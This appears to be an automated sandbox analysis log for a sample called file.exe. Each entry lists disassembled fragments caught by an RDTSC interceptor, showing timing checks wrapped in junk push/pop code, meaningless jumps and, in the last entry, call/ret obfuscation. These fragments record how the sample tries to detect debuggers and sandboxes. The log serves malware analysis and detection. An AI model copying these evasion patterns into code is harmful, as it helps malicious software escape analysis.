Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39131E second address: 391322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391322 second address: 391330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391330 second address: 391336 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 391498 second address: 3914B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818EDC0D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3914B4 second address: 3914BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39161E second address: 39164D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FB818EDC0CFh 0x0000000c jo 00007FB818EDC0D9h 0x00000012 jng 00007FB818EDC0C6h 0x00000018 jmp 00007FB818EDC0CDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39164D second address: 391669 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB818BA6117h 0x00000008 jmp 00007FB818BA6111h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3985FF second address: 398603 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 398C2D second address: 398C44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB818BA610Fh 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399215 second address: 399234 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FB818EDC0D4h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399553 second address: 399562 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 ja 00007FB818BA6106h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399562 second address: 399567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39981C second address: 39984B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB818BA6106h 0x0000000a jmp 00007FB818BA6116h 0x0000000f popad 0x00000010 jmp 00007FB818BA610Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39984B second address: 399859 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB818EDC0C8h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399859 second address: 399895 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA6110h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FB818BA6130h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007FB818BA6106h 0x0000001a jl 00007FB818BA6106h 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FB818BA610Eh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399895 second address: 399899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399E3F second address: 399E48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A139 second address: 39A13F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39A13F second address: 39A145 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F04D second address: 39F089 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007FB818EDC0D7h 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jmp 00007FB818EDC0CFh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FB818EDC0D0h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F089 second address: 39F095 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39F095 second address: 39F0DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D6h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FB818EDC0CFh 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FB818EDC0D8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A487E second address: 3A4885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A4885 second address: 3A488A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3A488A second address: 3A4890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AC868 second address: 3AC881 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818EDC0C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FB818EDC0CCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ACB64 second address: 3ACB68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ACDD1 second address: 3ACDD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ACDD6 second address: 3ACDEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB818BA6106h 0x0000000a jmp 00007FB818BA610Ah 0x0000000f popad 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD0A7 second address: 3AD0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FB818EDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD0B1 second address: 3AD0B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD0B5 second address: 3AD0C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADBA1 second address: 3ADBA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADBA7 second address: 3ADBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADBAC second address: 3ADBB7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FB818BA6106h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE2F6 second address: 3AE2FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE2FD second address: 3AE302 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4109 second address: 3B410D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B410D second address: 3B4117 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FB818BA6106h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B48 second address: 3B3B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B4E second address: 3B3B52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B52 second address: 3B3B5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B5E second address: 3B3B74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jnc 00007FB818BA6106h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B74 second address: 3B3B78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B78 second address: 3B3B7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B7C second address: 3B3B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3B82 second address: 3B3B88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B3E1B second address: 3B3E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FB818EDC0D2h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1808 second address: 3C180C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C1210 second address: 3C121A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FB818EDC0CEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6E46 second address: 3C6E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6E4E second address: 3C6E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C8B08 second address: 3C8B1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007FB818BA6106h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d ja 00007FB818BA6106h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F1B second address: 3D8F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F1F second address: 3D8F32 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB818BA610Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F32 second address: 3D8F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D8F38 second address: 3D8F3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E020F second address: 3E022A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB818EDC0C6h 0x0000000a jmp 00007FB818EDC0CFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E022A second address: 3E0241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 jo 00007FB818BA6106h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 jnc 00007FB818BA6106h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0241 second address: 3E0245 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0245 second address: 3E026D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jbe 00007FB818BA6106h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push edx 0x00000013 pop edx 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FB818BA6111h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E026D second address: 3E0273 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0503 second address: 3E0542 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 jno 00007FB818BA6106h 0x0000000c jmp 00007FB818BA610Fh 0x00000011 pop eax 0x00000012 jng 00007FB818BA610Ah 0x00000018 jmp 00007FB818BA6111h 0x0000001d popad 0x0000001e push edi 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0542 second address: 3E0546 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0840 second address: 3E0846 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E0846 second address: 3E084B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E169C second address: 3E16C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jnc 00007FB818BA6106h 0x0000000b jmp 00007FB818BA610Ch 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 ja 00007FB818BA6106h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E16C1 second address: 3E16C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E16C6 second address: 3E16D3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB818BA6108h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E16D3 second address: 3E16D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E564A second address: 3E564E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E564E second address: 3E5664 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jg 00007FB818EDC0C6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007FB818EDC0C6h 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3F9D66 second address: 3F9D86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FB818BA6106h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FB818BA6113h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407CFD second address: 407D07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FB818EDC0C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 407E7E second address: 407E82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421A50 second address: 421A70 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FB818EDC0C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FB818EDC0CAh 0x00000011 pop edx 0x00000012 je 00007FB818EDC0DCh 0x00000018 push esi 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421A70 second address: 421A76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420975 second address: 420991 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB818EDC0D8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420991 second address: 4209A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818BA610Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420AC9 second address: 420AF7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FB818EDC0D2h 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FB818EDC0D0h 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420C48 second address: 420C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420C4E second address: 420C58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420C58 second address: 420C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420C5C second address: 420C8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FB818EDC0CAh 0x0000000c jmp 00007FB818EDC0D8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007FB818EDC0C6h 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420F4B second address: 420F4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420F4F second address: 420F53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420F53 second address: 420F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 420F5C second address: 420F64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421773 second address: 421777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421777 second address: 421794 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB818EDC0D9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 421794 second address: 4217A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jns 00007FB818BA6106h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4217A4 second address: 4217A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425A99 second address: 425AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425C1A second address: 425C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425C1E second address: 425C4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB818BA610Ah 0x0000000b popad 0x0000000c push eax 0x0000000d jg 00007FB818BA6128h 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FB818BA6116h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425C4E second address: 425C52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 425CBE second address: 425D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push eax 0x0000000d call 00007FB818BA6108h 0x00000012 pop eax 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc eax 0x00000020 push eax 0x00000021 ret 0x00000022 pop eax 0x00000023 ret 0x00000024 call 00007FB818BA610Fh 0x00000029 pushad 0x0000002a jl 00007FB818BA6106h 0x00000030 mov ebx, ecx 0x00000032 popad 0x00000033 pop edx 0x00000034 push 00000004h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007FB818BA6108h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 0000001Ch 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 jmp 00007FB818BA6116h 0x00000055 call 00007FB818BA6109h 0x0000005a jmp 00007FB818BA6115h 0x0000005f push eax 0x00000060 jmp 00007FB818BA6119h 0x00000065 mov eax, dword ptr [esp+04h] 0x00000069 push eax 0x0000006a push edx 0x0000006b jc 00007FB818BA6108h 0x00000071 pushad 0x00000072 popad 0x00000073 rdtsc
